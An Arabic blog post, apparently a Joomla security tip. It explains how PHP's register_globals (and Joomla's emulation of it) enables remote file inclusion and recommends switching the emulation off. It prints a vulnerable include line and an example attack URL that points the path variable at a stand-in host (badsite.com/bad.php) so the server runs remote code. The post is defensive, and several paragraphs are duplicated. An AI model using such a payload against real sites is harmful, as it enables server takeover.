مقدمة:
من الاعدادات المستخدمة في الـ php يوجد اعداد يعرف بالـ register_globals.
وظيفته تكمن في التسهيل على المبرمج حيث يقوم بتعريف المتغيرات المدخلة من المستخدم بطريقتي Post و Get في النطاق العام,و هنا تكمن الخطورة , فيما يلي مثال يوضح هذا
مثال:
لنفترض أن هناك تطبيق يسمى X وهذا التطبيق مكتوب بطريقة غير آمنة و يحتوي على السطر التالي
من الاعدادات المستخدمة في الـ php يوجد اعداد يعرف بالـ register_globals.
وظيفته تكمن في التسهيل على المبرمج حيث يقوم بتعريف المتغيرات المدخلة من المستخدم بطريقتي Post و Get في النطاق العام,و هنا تكمن الخطورة , فيما يلي مثال يوضح هذا
مثال:
لنفترض أن هناك تطبيق يسمى X وهذا التطبيق مكتوب بطريقة غير آمنة و يحتوي على السطر التالي
Code:
include $mosConfig_absolute_path . '/components/com_X/XFile.php' );
كما هو واضح يقوم هذا السطر بادراج ملف الـ php المدعو Xfile.php في التطبيق
لنفترض أن أحدا الأشرار حاول مهاجمة هذا التطبيق باستخدام الـ url التالي
لنفترض أن أحدا الأشرار حاول مهاجمة هذا التطبيق باستخدام الـ url التالي
Code:
http:/ /www.example.com/components/com_x/x.php?mosConfig_absolute_path=http://www.badsite.com/bad.php
في حالة وجود الـ register_globals سيقوم الـ php مشكورا بتعريف المنغيير mosConfig_absolute_path في النطاق العام,طبعا المتغيير mosConfig_absolute_path هو اسم متغيير مستعمل من قبل و بالتالي يقوم php بتغيير قيمته الى h t t p://w w w. badsite . com/ bad . php .
و عندما يقوم جملة بتنفيذ السطر
و عندما يقوم جملة بتنفيذ السطر
Code:
include $mosConfig_absolute_path . '/components/com_X/XFile.php' );
تكون نتيجة التعويض
Code:
include http://www.badsite.com/bad.php. '/components/com_X/XFile.php' );
أي ادراج ملف PHP من موقع آخر و يتم تنفيذ الأوامر التي يحتويها على السرفر الخاص بك و في الأغلب لن تكون أوامر مسالمة
ما موقعنا نحن من هذه المشكلة:
اعدادات جملة الافتراضية تشغل أو تحاكي تشغيل register_globals لانه بالرغم من خطورته الا أن هناك تطبيقات تعتمد عليه "أظن joomlaboard يعتمد عليه".
الحل:
فنح لوحة التحكم بجملة والذهاب الى
Site -> Global Configuration
ثم إخنتيار tab Server
وتعديل Register Globals Emulation الى OFF
ما موقعنا نحن من هذه المشكلة:
اعدادات جملة الافتراضية تشغل أو تحاكي تشغيل register_globals لانه بالرغم من خطورته الا أن هناك تطبيقات تعتمد عليه "أظن joomlaboard يعتمد عليه".
الحل:
فنح لوحة التحكم بجملة والذهاب الى
Site -> Global Configuration
ثم إخنتيار tab Server
وتعديل Register Globals Emulation الى OFF
هذا الحل سيعمل بشكل جيد اذا كنت لا تستعمل تطبيقات تعتمد على هذه الخاصية,أما اذا واجهتك مشاكل بعد تعطيل الـ RG_EMULATION فلا حل الا اعادة تشغيله مرة أخرى و ترقية التطبيقات التي حدثت بها المشاكل الى آخر اصدار "حتى تأمن شر الـ RG " أو الانتقال الى غيرها ان وجدت البدائل.
تعديل dr_drsh : تعديل العنوان حتى يظهر بشكل صحيح "عندما يكتب من اليسار الي اليمين"ـ
تعديل dr_drsh : تعديل العنوان حتى يظهر بشكل صحيح "عندما يكتب من اليسار الي اليمين"ـ
ليست هناك تعليقات:
إرسال تعليق